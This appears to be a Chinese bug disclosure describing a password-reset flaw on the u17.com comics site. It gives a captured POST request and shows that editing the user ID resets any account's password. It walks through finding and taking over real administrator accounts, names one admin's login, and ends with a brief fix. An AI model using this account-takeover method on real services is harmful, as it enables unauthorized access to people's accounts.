盛大旗下有妖气漫画网任意用户密码修改
今天这个站流量爆棚了.就检测了一下.庆祝10万个冷笑话第二集更新!
详细说明:使用邮件找回密码处出现逻辑问题.

使用一个已知帐号找回密码.

得到如下链接地址

?auth=70adcfad448d76c0b70480d787f734&id=2544380&t=1348903015

访问后如下图:

盛大旗下有妖气漫画网任意用户密码修改


在此处输入新密码提交时抓包得到如下内如:

POST /member/reset_password.php?auth=70adcfad448d76c0b70480d787f734&id=2544380&t=1348903015 HTTP/1.1
Host: passport.u17.com
Proxy-Connection: keep-alive
Content-Length: 63
Cache-Control: max-age=0
Origin:
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: ?auth=70adcfad448d76c0b70480d787f734&id=2544380&t=1348903015
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

new_password=zzzzzz&confirm_password=zzzzzz&%E6%8F%90%E4%BA%A4=

cookies里并无任何与此操作相关的信息.post的数据中只提交了新密码.
我们可以看到提交地址里用get方式提交了用户ID.这里是识别修改哪个用户密码的标识.
修改此处ID.重新做一次提交.得到下图:


成功修改密码.

此时对有妖气的管理员来一次密码修改.
我们通过访问自己的个人空间可以得到用户ID


可以得到用户ID1844269
但只能得到其ID和昵称.即使修改了密码也不知道帐号.无法进行登陆.
此时我们访问

得到管理员昵称是
Xcily
我尝试使用昵称做为帐号.失败了.
这个时候看到一个贴心的小功能.
叫做
记不清用户名?但是记得昵称,点击这里试试看

然后输入管理员昵称.

您的账户名x*******9
X开头,9结束.
我们把管理员的昵称放在百度上搜索了一下.

盛大旗下有妖气漫画网任意用户密码修改


xcily0429

然后使用次帐号尝试..存在这个帐号...

修改用户ID为1的密码.
使用
xcily0429登陆成功.

盛大旗下有妖气漫画网任意用户密码修改

管理员帐号.

尝试了下论坛.此帐号在论坛ID也是1.但由于论坛的后台设置了访问权限.403了...
又尝试了其他几个管理员.都成功修改并且进入了其帐号.
没做其他任何操作.只是想唤起管理员警觉.

非常喜欢有妖气的动漫.管理员xcily也是个技术宅.希望有机会能一起交流一下.

庆祝十万个冷笑话更新第二集!!!
  
 

修复方案:

修改密码处多增加些身份认证吧.